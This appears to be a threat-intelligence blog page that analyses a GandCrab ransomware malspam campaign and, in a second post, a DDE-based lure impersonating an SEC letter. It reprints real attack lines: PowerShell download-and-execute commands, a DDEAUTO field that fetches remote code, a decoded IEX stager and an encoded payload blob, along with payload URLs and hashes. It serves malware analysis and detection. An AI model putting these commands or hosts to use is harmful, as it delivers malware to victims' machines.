GandCrab Swarm

2018-04-17

The campaign is far from stealthy, and we’re certainly not the first to write about it. See the section “Further Reading” below for additional articles and utilities. We first noticed the campaign through a significant uptick in threats delivered via malicious e-mail attachment following the naming convention “`DOC[0-9]{10}.zip“`. Example file names include:

DOC1385624908.zip
DOC1614310849.zip
DOC2138630325.zip
DOC2229418534.zip
DOC3054722748.zip
…

In the cases we observed, the archive contained either a malicious macro dropper document or a malicious JavaScript file. We observed ~3,000 unique IP addresses that spanned across 427 ASNs (see Appendix). Analyzing the source IPs of the campaign reveals a heavy slant toward the Asias. We’re using the handy distribution utility here if you’re curious:

[pedram@kb 2018-04-doc0]$ cat doc0.countries | distribution
    Key|Ct   (Pct)    Histogram
     VN|2991 (52.44%) -------------------------------------------------------
     IN| 963 (16.88%) --------------------
     CN| 416  (7.29%) ---------
     BD| 184  (3.23%) ----
     RU| 169  (2.96%) ----
     ID| 121  (2.12%) ---
     KZ|  99  (1.74%) ---
     LA|  68  (1.19%) --
     TH|  67  (1.17%) --
     PK|  62  (1.09%) --
     MN|  61  (1.07%) --
     UA|  48  (0.84%) -
     KH|  48  (0.84%) -
     KG|  41  (0.72%) -

Macro Dropper

An example malicious document can be in our GitHub repo for malware samples:

Of the dozens of macro droppers we harvested, we isolated 6 uniquely generated macros, all of which employ the same heavy string obfuscation tactics:

[pedram@kb 2018-04-doc0]$ grep "(" * | cut -d':' -f2 | tr -d ' '  | cut -d'=' -f2 | cut -d'(' -f1 | distribution
            Key|Ct   (Pct)    Histogram
        Replace|1840 (44.12%) ------------------------------------------
     StrReverse|1540 (36.93%) -----------------------------------
          Space| 111  (2.66%) ---
          UCase|  99  (2.37%) ---
            Mid|  92  (2.21%) ---
           Left|  87  (2.09%) --
          LTrim|  87  (2.09%) --
          Right|  79  (1.89%) --
          RTrim|  79  (1.89%) --
        StrConv|  68  (1.63%) --
          Split|  18  (0.43%) -
         UBound|   6  (0.14%) -
          Shell|   6  (0.14

Prior to pivoting through Shell(). Note the usage of vbHide (0) here:

[pedram@kb 2018-04-doc0]$ grep Shell *
5ab51aaa4e781063c21ceca884ffe4177a24f3a49f164f7a7095ac16161a4e6a.macro
549:            Shell (StrReverse(StrReverse(GAMI))), 0

9bb808c1ec544f71c1f6730cbaf0d24337e22a4f92f6078b8ba794d596a87a5e.macro
750:            Shell (mbRq), 0

521b7acbb766010ad49b2344a32ec20663d2328fb9c8a846f1ac8cc7a4895f42.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

20bf59ea08052f282666570f12402be8f4eaf3b1ccaf00c7d6f4f645a2ddbc78.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

5849f63af8e041cd2690efd7a7638c1b7185a9aa497a2322be01d36d314507f8.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

ca72e019c23658547a73c613e4bf3a39e2d603b260c2e227adab74efc6fdc7bb.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

To a PowerShell pivot which will download and execute a second-stage payload (PE executable) from (in this case) a server in the UK:

powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('hxxp://185[.]189.58.222/da.exe',([System.IO.Path]::GetTempPath()+'bKKc.exe'));

powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'bKKc.exe'

We’ve extracted a half dozen macros from live samples and made them available on Github.com/InQuest/malware-samples for anyone who is interested.

JavaScript Dropper

Example malicious JavaScript payloads can be found Github.com/InQuest/malware-samples, we’ll dissect this one here:

45e1a8582716c51212a45df8f26298cb8dd9769d5fa5781014ef72e4b22881a8.js

At the highest level, the heavily obfuscated JavaScript will:

Loop until a non 200 OK response is received from C&C server at GET hxxp://hgpjrvccsollfwbq[.]com.
Download payload from hxxp://112[.]126.94.107/shop/k.exe.
Save the downloaded file as %TEMP%/undefined/featherstrail.exe, and execute it.

You can see the trace of this activity in the following log:

ActiveXObject initialized: ["Scripting.FileSystemObject"]
  [Scripting.FileSystemObject].GetSpecialFolder() called
ActiveXObject : ["WinHttp.WinHttpRequest.5.1"]
ActiveXObject : ["MSXML2.XMLHTTP"]
  [MSXML2.XMLHTTP].open() called:
      ["GET", "hxxp://hgpjrvccsollfwbq[.]com/", false]
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
ActiveXObject initialized: ["WScript.Shell"]
ActiveXObject initialized: ["ADODB.Stream"]
  [ADODB.Stream].Open() called: []
  [ADODB.Stream].Write() called: [undefined]
  [ADODB.Stream].SaveToFile() called: ["undefinedfeatherstrail.exe"]
  [ADODB.Stream].Close() called: []
WScript.run() called: ["cmd /c undefinedfeatherstrail.exe", 0, 0]

Second Stage Payloads

The second-stage payloads were seen hosted on French, British, and Chinese servers (see Appendix). In one case, a seemingly compromised China based shopping site (112[.]126.94.107). In another case, a seemingly fresh install of CentOS (185[.]189.58.222).

With the identification of a second stage payload host and the realization that the payloads follow a basic 1 to 3 character naming convention and are of one of the types: .exe, .doc, etc. We brute force crawled the limited space to unveil the following list of additional payloads. All are active as of the time of writing. On a side note, for more complex brute force patterns, we recommend checking out rexgen.

<tr>
    <td>hxxp://185[.]189.58.222/as.exe</td>
    <td align="right">application/octet-stream</td>
</tr>
<tr>
    <td colspan="2"><a href="https://www.virustotal.com/#/file/73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36">73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/da.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57">6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/s.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Trik.pdb: <a href="https://www.virustotal.com/#/file/a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5">a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/k.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c">71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/f.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Ransort.pdb: <a href="https://www.virustotal.com/#/file/f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca">f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca</a></td>
</tr>
<tr>
    <td>hxxp://112[.]126.94.107/shop/wat.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Trik.pdb: <a href="https://www.virustotal.com/#/file/09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326">09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326</a></td>
</tr>
<tr>
    <td>hxxp://112[.]126.94.107/shop/k.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131">053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131</a></td>
</tr>

URL MIME / SHA256
hxxp://185[.]189.58.222/d.doc application/msword
Dropper: 99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809
hxxp://112[.]126.94.107/shop/d.doc application/msword
Dropper: 6a8778a466c66a4a6df07163459bbe5cb4971109a3a4057330bc7c07014f7462
hxxp://185[.]189.58.222/sry.exe application/octet-stream
GandCrab?: f921949f9bf653b37fb73065834141862dc433ca12db8905f07face35f2d652a
hxxp://185[.]189.58.222/huh.exe application/octet-stream
GandCrab: 298db98676cebbeab5b7d1aee14521363eee533755e99132c7efe3322d99d691
hxxp://185[.]189.58.222/ps.exe application/octet-stream
RanserKD: f851dbbdafa4aa24548789d21b30f0e6248393d6813d9f21ac0627fdc1eb4b18

Source ASNs

We observed ~3,000 unique IP addesses that spanned across the following 427 ASNs:

768, 812, 2119, 2856, 3320, 3462, 4134, 4621,
4755, 4760, 4761, 4788, 4795, 4800, 4818, 4837,
5563, 6332, 6503, 6697, 6703, 6712, 6789, 6830,
6846, 6849, 6876, 7470, 7545, 7552, 7565, 7922,
8100, 8151, 8193, 8334, 8359, 8402, 8427, 8449,
8452, 8551, 8585, 8708, 8711, 8712, 8732, 8890,
8997, 9105, 9121, 9198, 9260, 9304, 9422, 9498,
9808, 9829, 9830, 9873, 9902, 9930, 9934, 10010,
10076, 10109, 10199, 10219, 10225, 10620, 11172, 11427,
11562, 12389, 12430, 12714, 12716, 12735, 12764, 12997,
13099, 13188, 13194, 13489, 13591, 13999, 14061, 14080,
15491, 15493, 15723, 15774, 16010, 16066, 16960, 17426,
17465, 17483, 17488, 17557, 17621, 17658, 17665, 17747,
17754, 17762, 17771, 17813, 17970, 18001, 18002, 18059,
18207, 18209, 18403, 18734, 19429, 20115, 20539, 20549,
20771, 21017, 21087, 21104, 21127, 21183, 21299, 21312,
21479, 21497, 22773, 23673, 23678, 23682, 23700, 23860,
23888, 23893, 23947, 23969, 24086, 24186, 24203, 24309,
24320, 24323, 24389, 24432, 24435, 24444, 24445, 24547,
24554, 24560, 24955, 25019, 25106, 25139, 25159, 25229,
25249, 25454, 25513, 27738, 27747, 27884, 27947, 27951,
28006, 28378, 28509, 28531, 28532, 28537, 28545, 28554,
28573, 28738, 28769, 28787, 28812, 29061, 29091, 29124,
29497, 29584, 30619, 30922, 31036, 31145, 31148, 31163,
31213, 31252, 31286, 31287, 31585, 32244, 33788, 34145,
34602, 34814, 34975, 34984, 35004, 35104, 35362, 35566,
35728, 35807, 35816, 35819, 36907, 37061, 37209, 37284,
37308, 37398, 37424, 37425, 37489, 38019, 38067, 38193,
38203, 38264, 38266, 38457, 38511, 38623, 39047, 39280,
39407, 39529, 39709, 39714, 39927, 41557, 41661, 41682,
41733, 41750, 41794, 41997, 42362, 42610, 42713, 43145,
43182, 43258, 43370, 43554, 43594, 43727, 43733, 43925,
44267, 44395, 44895, 45025, 45043, 45117, 45194, 45235,
45245, 45289, 45326, 45335, 45458, 45498, 45514, 45543,
45582, 45588, 45629, 45694, 45727, 45766, 45769, 45773,
45774, 45775, 45804, 45820, 45899, 45903, 45905, 45925,
45942, 45951, 46042, 47140, 47237, 47759, 47975, 48094,
48176, 48212, 48503, 48524, 48642, 48882, 49461, 49749,
49800, 50009, 50025, 50223, 50306, 50544, 51004, 51009,
51034, 51035, 51904, 52609, 53085, 55406, 55410, 55441,
55511, 56040, 56041, 56044, 56046, 56124, 56255, 56354,
57128, 57261, 57334, 57944, 58405, 58587, 58640, 58691,
58717, 58765, 58906, 58969, 59332, 59341, 59347, 59362,
59523, 59552, 59671, 60258, 60411, 63862, 63961, 63969,
64063, 64072, 64075, 131127, 131178, 131210, 131246, 131267,
131464, 132137, 132220, 132453, 132525, 132730, 132768, 132770,
132933, 132941, 133001, 133011, 133168, 133177, 133232, 133255,
133293, 133331, 133443, 133450, 133481, 133597, 133613, 133661,
133700, 133814, 134000, 134006, 134009, 134033, 134056, 134128,
134186, 134204, 134293, 134341, 134371, 134708, 134810, 134813,
134853, 134932, 134970, 135371, 135527, 135597, 135607, 135654,
135718, 135872, 136276, 136393, 136498, 136514, 196629, 197254,
197275, 197311, 197585, 201986, 207133, 262186, 262928, 263170, 264821, 327826

Carrier Samples

Of the myriad of samples we observed in the wild, the following are available from VirusTotal Intelligence. It is of some minor interest to note that all of the following samples were uploaded1. 01072c19714bdf73017d22275ffed4f40cb99891fc019798b495f6415a9f08b9
2. 04ef17f7052a01b3091eb1190c8072e283da99c6a61cfee9cde8d1ff4fd4f1a3
3. 0641176e5865e840509ef0ea4aa779aa662ce64917c715b2865d1372b9cf0080
4. 0732dff16daadf858388ba85bb311fb0d03aab979d3354fa75a0e91d3ba71668
5. 094e1e556dca8146eefa43e88a16c2c3eebdc867a35ac29c239505a0b6f828ce
6. 0b1550624d76cf74a3928466d09cd8359f8deb2980c4d54c4b0dad183e6e8029
7. 0b2da90d5102933162a7bdb6794a506d946a5d960325d09c5bdfe0858e476ad8
8. 0cb41a2c20720fa3051047b80d4aa0dbbb8dd74a0d3d0e4051c2bd969b9b7c77
9. 0f2b93d78c4d145408ee7aa192698da9fbc717022fe68f533dd204293ef384b3
10. 18b8e3b30e757bc362bcfcbd5dc90916133fe3377b88028e56434052bc72288b
11. 18ec003eccabb265f9c1a26a4384565620e357f7c079c2e879f7a16080762fb8
12. 1b6bf58f019cbb8c08bd66a6a361991d1e9d619a8340c823b1a1acc90a298e43
13. 1edf1c4049f663236424d4ee9b8de923b416f4af75dbf5bf971e0b85de01d94b
14. 1fae994859b8ac5e3ffc64c721ce40f8787d9836f4de3edb52112ab84bd58c1b
15. 2c2f282428cb09fb97d9da1fdbe8a83278ef8228bb4438ef38a1cdbf83cb3d13
16. 2f0de44c668c67b649c355e8d35106bf60ef002af84b7246ee6ad8ff5a341f56
17. 30a5e1860249f40fdcd176c223ea78824fa2181d3ebc76d2f64f3397a181aed7
18. 311b10a28b8f9a4de7c508b557f3131103ad11f35a39b82898903ba59f12f32f
19. 3734ae24bb1c0b392b9e2e9606729cf11074b07a234dd93c30e6964dcefb85eb
20. 37d1a9b24aa796d428baa5cdbc848e7d04b6a28aa04faebce8b3efc15109e2f4
21. 37e3ae5b476298cfa05b8cf9128c8a0216aa9870b10b23835629653e1300aa7a
22. 3912109d9f9ceea82d08c67a1b033f7a509db81f5ee4dfa9bcdf12b2101051c9
23. 391e1243413cbbdd17ddbd499c473b9ed180003a868d75c6fecb92446ff7f5b9
24. 39d95449fca6c188bfc9f2eb599804a86ddde41774fefa0edc894118e978a525
25. 3aaa8d3cc6291dff27de7a9d0bd4dc28c59207a6641f86f510ed36fd0df88e7e
26. 3cefbe4498aabf3b0160c979a4f382446c1156187bfd6b9cabeeff64b7685fc4
27. 4350cc33108a98f9491515e8855ecf1f550e70e39be2f351b88356f11fa5760d
28. 45fc9542235efd93f9a898df898ec7fa1bac8d1f56365d7d4bede7d6a33470ef
29. 4b22ced5138d6f1b4e69c31c3a6558638a652efda90b067e4f267144841f84fc
30. 4cfab88fa7dd90785bdf0d52753c2a40e2c6fdba93a1635d8b1b7eb4fdb91fb2
31. 5365e92f544c83b1bff8eeb440ad620cdb308ffd1d96f732d6a399511493ed7f
32. 56e3d0f0093de7d52feb62e97fa7532056047546375452a0f59e8f682ae235e5
33. 576313b11f51a8e2191689fc146409897e719bb83d967c14ea53306ed3369572
34. 596ecf4f1c762d20d353f6382f982bbf57e1b4e062c6f796600fe53028b68efb
35. 59d12676e116055028c272e404046b70ca3a885137faf28e2b1a074833d4104d
36. 5e222eb6ff5b474d5eb4b450448ec6f47783190312a782a0365e761be97e35cf
37. 6ae1213bc50d25f5d6335a2c1652440bbc295e3cd1214a16a11fa216b5ebfc6d
38. 6d8e7e0e38d697f85d82f8f528a10d4c0dda7bc0fa0bb7624809893d61203e7a
39. 6d9b225458f556556e8a91de96c9d292f1b179e4660569ef21e97e5fdc0e6257
40. 6e5ed1fa3afbb74e1a35a80cfddf5d7cb1ddacd02e7f049e61808d0409a04ef4
41. 74ce529e2d09971ab43cd86ab455d66bc53b5cf64607b754fe4b51f823397427
42. 7776ac0c61015d2e5cec12054f01301dd6e34eb08c35c29b9e0769d45498d78f
43. 79e7043fa72f70d961b7de31bec3d6768e4a331403b56de451fb9d8c8582ca86
44. 79fa9eb242b88ccae36c441b8d25f444b2c7186c446019636595e9c410d88e17
45. 8351070808b7b7541f99b7f75dec59ea7713ccdc9fbd521152c813445e01156c
46. 85f82adef8badabf7a5ed7a5f987ca8f611db9cddaffe6e60cff5a4167d19062
47. 88867b7ae4fb6d396d5a1e07edee16c495a77f943b4cd08df8fb3dad1b703012
48. 8c33bf2c9f4f93883f5568c374b53fac4d337a7aaf64eb4d1b776fc73433c051
49. 8e0373ad55b692b6e857b4d533e6b67445eb4af3d3542c25440f16737d622187
50. 8e6643d6224e3c3a3a39abed0291b34f526e9e15662f6fbd319b141ea67a8400
51. 8f2d995c2bfddac4992737bb94d97c85035ae8ba20ffb0a7894f123b1ac253c2
52. 8f77b27596cb18a4e7c56bc28f18fa4648d328210a36d62c456bb31084426ff4
53. 91ac0eae541c351122daaeb9ef2042508b8bc10816cc056c7b6d4a717f05a76e
54. 9c9ec33955cc9144dffb97095dd8be8ffc7a676eaf99da63d113775ca7a9d7c9
55. a3bd170a56e43d123f928e5978d51e24fdcc708382c5a8d86c1dbe2e67538148
56. a53c7526939cfd8d609c77b5b6a6da82329efc017e91f203d57934da0ed8637f
57. a601d9742b306384796a7a6f835c8a979179c9f516bd17ba7185f7d331b4db2d
58. a953e225ec770230c100281dc8d3820b63461740214fa6471580fbba6048378c
59. a9995695776b7a17d1ac86b8b47fbcd94d190c42c6d3838417749d57b03f9e07
60. ba1bc1c75ff7aec30d48d47284d120d7a1a862a44e86e63094afbca5cc6f1578
61. bb81c9f62bcb5efb54792925e8a7d3d9a53e1d9ec10a6616c1d670967762a9cb
62. bd2193869e8fad55ebdb29f3acc7a3e9d5df81a3390c19b936d4035f990f2842
63. c4798dc2655e8263259f24c237a665f5f1cf556a082a321a64c8e91f2246e427
64. c9d69de2fc0f3ea9d57793e723b3e6234e034a6c533f5550c01376508861de87
65. ca409d1c8034b850cbee61ddb884267b3cb31f44e4adbd59da20498634726cc9
66. ca60b1755608f07a053cb1fdc87ccf506759a54867a6cb2f62f0568e043f9a44
67. cac05cef3b1607be9145894a619a27611e90a5edab4a6af4896f549cb1be0147
68. cdd6a50db75672ea4c5c3baec9c5ee4de14ad4fab4ef9a5ad7fa7d6fa97f8bff
69. da018eea106dc3a2a219049f9d0f5e55b87e5e3a91ca19877255fa65a06696d9
70. dc4ef4adefb5d26683d18fe788b432b13844fe1f54455576cee46d417bd5c666
71. e2293df854d6a0d86c965ad118e126f407f864cb54d830d4aa345c4d9557bc23
72. e9c64f7c4432ab680ad026e76ba299181c36e72596f227f924932ba744af82ad
73. eadc01694adc0f1137b4ec16299bb9c6c65180d7e446b71a885e082fff9b884f
74. ebf8f2d4463cd107039661c5ca349a00a2dc90ea537dac75b87b42b323cd48f5
75. f6985e91760b621462ed291eb35638b580ed9ede5e83834b9c026302d6fd5d9b

Detection

InQuest customers can hunt for signs of this campaign generically via the following signatures:

5000532, MC_Embedded_VB_Macro, with confidence 9 and severity 9.
3000080, SC_Suspicious_Macro_Function, with confidence 8 and severity 5.
3000143, SC_StrRev_Macro, with confidence 8 and severity 4.
5000869, MC_Phorpiex, with confidence 8 and severity 8.

Detection

We’ve made a number of relevant YARA signatures available on GitHub.com/InQuest for detecting the various components of this threat. Ordered from most general to most specific:

While not explicitly indicative of malicious content, it’s prudent for a threat hunter to explore documents discovered in transit that embed Adobe Flash via the first rule. The second looks for specific triggers suspected in the decompiled ActionScript, efficacy of this signature is dependent on processing the captured SWF file through an engine such as FFDec. Generically, the $varc_1 string from this rule looks for the requisite components to trigger the UAF vulnerability within the bounds of a single function. The final signature above is mostly sourced from posts in the public domain (see references), we threw a tweak on it to avoid false positives. This signature, while exploit specific and more easily evadable, applies to the existing threats observed in the wild thus far.

IOCs

14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12 Carrier: Microsoft Excel 2007+
3b1395f620e428c5f68c6497a2338da0c4f749feb64e8f12e4c5b1288cc57a1c Carrier: Composite Document File V2 Document
88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294 Stage-1: Macromedia Flash data, version 32
fec71b8479f3a416fa58580ae76a8c731c2294c24663c601a1267e0e5c2678a0 Stage-1: Macromedia Flash data, version 32
1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d Stage-2: (0day) Macromedia Flash data (compressed), version 32
e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd Payload: (ROKRAT) PE32 executable (GUI) Intel 80386, for MS Windows
hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php
hxxp://1588-2040.co.kr/design/m/images/image/image.php
hxxp://www.1588-2040.co.kr/conf/product_old.jpg
hxxp://www.korea-tax.info/main/local.php

References (chronological)

Free On-Demand Webinar: Think Before You Click

Whether sent as an email attachment, sitting in your cloud or traversing the Web, file-borne threats have become a proven favorite for delivering malware and phishing campaigns. View our webinar on-demand and get firsthand tips about how to safeguard your cybersecurity stack with File Detection and Response (FDR) and stop file-borne threats in their tracks.

Originally published 2018-02-07 on the InQuest blog.

Microsoft Office DDE Lures: SEC OMB, Freddie Mac and Vortex Ransomware

2017-10-14

SEC OMB Approval Lure

In reviewing the results of our Microsoft Office DDE malware hunt, (Microsoft_Office_DDE_Command_Execution.rule) we came across an interesting lure posing as an SEC Office of Management and Budget (OMB) approval letter. The sample utilizes some tricks to increase chances of successful exploitation. We’ll walk through the dissection of the components in this post. To follow the highlights of the conversation on Twitter, see the following moment:

Microsoft Office DDE Macro-less Command Execution Vulnerability

The lure 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d (9/61 AV detection rate)
carries a Securities and Exchange Commission (SEC) seal and a number of lines alluding to a missing font error. Presumably this is to engender trust and improve the chances of the target user confirming the requisite dialog pop-ups for command execution to take place:SEC Lure

Let’s dive into the payload, we’ll use the 7z+sed technique outlined in our previous post.

$ 7z e -so 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d | sed 's/<[^>]*>//g'

OMB APPROVALOMB Number:      3797-0954Expires:                  March 31, 2018Estimated average burdenhours per response                     18Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----câ€”  DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo[.]gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx" !Unexpected End of Formula

The author of this payload applies a trick here in referencing the Powershell binary by way of Microsoft Word (first highlight). This results in a more friendly dialog for the user:Dialogue Trick

A potential victim is more likely to select ‘Yes’ here when seeing Microsoft Word as the reference binary, versus Powershell.exe. The payload is behind a Google shortened URL. This is nice because we can append a + to that URL to see how prevalent this sample is:Google URL Stats

Seems like it’s not popular at all. It may be worth keeping an eye on this page. The URL behind the shortener is:

http://ipangea[.]com/wp-content/themes/ps1.txt

Snag that and you’ll find base64 encoded content that appears to be hosted on a compromised Wordpress page (this is pretty common):

In [3]: print base64.b64decode("SQBFAFgAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACc
   ...: AaAB0AHQAcAA6AC8ALwBpAHAAYQBuAGcAZQBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdABoAGUAbQBlAHMALwBwAGEAeQAuAHQAeAB0ACcAKQApAA==")
IEX((new-object system.net.webclient).downloadstring('http://ipangea[.]com/wp-content/themes/pay.txt';))

Following the chain to the next payload we retrieve:

$data=[System.Convert]::FromBase64String('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